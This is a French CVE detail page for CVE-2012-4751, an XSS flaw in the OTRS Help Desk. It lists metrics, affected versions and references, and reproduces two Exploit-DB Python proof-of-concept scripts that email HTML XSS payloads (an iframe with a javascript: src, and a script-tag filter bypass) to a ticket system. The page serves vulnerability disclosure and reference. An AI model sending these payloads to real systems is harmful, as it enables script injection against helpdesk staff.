CVE-2012-4751 : Détail

CVE-2012-4751

Cross-site Scripting
A03-Injection
0.55%V3
Network
2012-10-22
14h00 +00:00
2013-01-29
09h00 +00:00
CVE.org
NVD
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Descriptions du CVE

Cross-site scripting (XSS) vulnerability in Open Ticket Request System (OTRS) Help Desk 2.4.x before 2.4.15, 3.0.x before 3.0.17, and 3.1.x before 3.1.11 allows remote attackers to inject arbitrary web script or HTML via an e-mail message body with whitespace before a javascript: URL in the SRC attribute of an element, as demonstrated by an IFRAME element.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 22070

Date de publication : 2012-10-17 22h00 +00:00
Auteur : Mike Eduard
EDB Vérifié : Yes

#!/usr/bin/python ''' Author: Mike Eduard - Znuny - Enterprise Services for OTRS Product: OTRS Open Technology Real Services Version: 3.1.8, 3.1.9 and 3.1.10 Vendor Homepage: http://otrs.org CVE: 2012-4751 Timeline: 03 Sep 2012: Vulnerability reported + fix to vendor 04 Sep 2012: Vulnerability reported to CERT 05 Sep 2012: Response received from CERT 28 Sep 2012: Update from vendor to have it fixed and released on 16 Oct 2012 16 Oct 2012: Update: vulnerability patched http://www.kb.cert.org/vuls/id/603276 http://znuny.com/#!/advisory/ZSA-2012-03 http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-03/ 17 Oct 2012: Public Disclosure Installed On: Windows Server 2008 R2 & Open SUSE 12.1 Client Test OS: Window 7 Pro SP1 (x86) Browser Used: Firefox 14+16 & Opera 12.01 Injection Point: HTML Email Injection Payload(s): 1: <iframe src=" javascript:alert('XSS Exploit');"></iframe> ''' import smtplib, urllib2 payload = """ <iframe src=" javascript:alert('XSS Exploit');"></iframe> """ def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@znuny.local\n" msg += "To: victim@victim.local\n" msg += 'Date: Today\r\n' msg += "Subject: Offensive Security\n" msg += "Content-type: text/html\n\n" msg += "XSS" + payload + "\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "hacker@znuny.local" password = "123456" dstemail = "victim@victim.local" frmemail = "hacker@znuny.local" smtpsrv = "127.0.0.1" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password)
Exploit Database EDB-ID : 20959

Date de publication : 2012-08-30 22h00 +00:00
Auteur : Mike Eduard
EDB Vérifié : No

#!/usr/bin/python ''' Author: Mike Eduard - Znuny - Enterprise Services for OTRS Product: OTRS Open Technology Real Services Version: 3.1.8 and 3.1.9 Vendor Homepage: http://otrs.org CVE: 2012-4600 Timeline: 22 Aug 2012: Vulnerability reported to vendor and CERT 23 Aug 2012: Response received from CERT and vendor 28 Aug 2012: Update from vendor to have it fixed and released on 30 Aug 2012 30 Aug 2012: Update: vulnerability patched http://www.kb.cert.org/vuls/id/511404 http://znuny.com/#!/advisory/ZSA-2012-02 http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-02/ 31 Aug 2012: Public Disclosure Installed On: Windows Server 2008 R2 & Open SUSE 12.1 Client Test OS: Window 7 Pro SP1 (x86) Browser Used: Firefox 14 & Opera 12.01 Injection Point: HTML Email Injection Payload(s): 1: <s<script>...</script><script>...<cript type="text/javascript"> 2: document.write("Hello World!"); 3: alert('Mike was here!');; 4: </s<script>//<cript> ''' import smtplib, urllib2 payload = """<s<script>...</script><script>...<cript type="text/javascript"> document.write("Hello World!"); alert(123);; </s<script>//<cript> """ def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@znuny.local\n" msg += "To: victim@victim.local\n" msg += 'Date: Today\r\n' msg += "Subject: Offensive Security\n" msg += "Content-type: text/html\n\n" msg += "XSS" + payload + "\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "hacker@znuny.local" password = "123456" dstemail = "victim@victim.local" frmemail = "hacker@znuny.local" smtpsrv = "127.0.0.1" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password)

Products Mentioned

Configuraton 0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.1

Otrs>>Otrs >> Version 2.4.2

Otrs>>Otrs >> Version 2.4.3

Otrs>>Otrs >> Version 2.4.4

Otrs>>Otrs >> Version 2.4.5

Otrs>>Otrs >> Version 2.4.6

Otrs>>Otrs >> Version 2.4.7

Otrs>>Otrs >> Version 2.4.8

Otrs>>Otrs >> Version 2.4.9

Otrs>>Otrs >> Version 2.4.10

Otrs>>Otrs >> Version 2.4.11

Otrs>>Otrs >> Version 2.4.12

Otrs>>Otrs >> Version 2.4.13

Otrs>>Otrs >> Version 2.4.14

Configuraton 0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.1

Otrs>>Otrs >> Version 3.0.2

Otrs>>Otrs >> Version 3.0.3

Otrs>>Otrs >> Version 3.0.4

Otrs>>Otrs >> Version 3.0.5

Otrs>>Otrs >> Version 3.0.6

Otrs>>Otrs >> Version 3.0.7

Otrs>>Otrs >> Version 3.0.8

Otrs>>Otrs >> Version 3.0.9

Otrs>>Otrs >> Version 3.0.10

Otrs>>Otrs >> Version 3.0.11

Otrs>>Otrs >> Version 3.0.12

Otrs>>Otrs >> Version 3.0.13

Otrs>>Otrs >> Version 3.0.14

Otrs>>Otrs >> Version 3.0.15

Otrs>>Otrs >> Version 3.0.16

Configuraton 0

Otrs>>Otrs >> Version 3.1.0

Otrs>>Otrs >> Version 3.1.1

Otrs>>Otrs >> Version 3.1.2

Otrs>>Otrs >> Version 3.1.3

Otrs>>Otrs >> Version 3.1.4

Otrs>>Otrs >> Version 3.1.5

Otrs>>Otrs >> Version 3.1.6

Otrs>>Otrs >> Version 3.1.7

Otrs>>Otrs >> Version 3.1.8

Otrs>>Otrs >> Version 3.1.9

Otrs>>Otrs >> Version 3.1.10

Références

http://www.securityfocus.com/bid/56093
Tags : vdb-entry, x_refsource_BID
http://www.kb.cert.org/vuls/id/603276
Tags : third-party-advisory, x_refsource_CERT-VN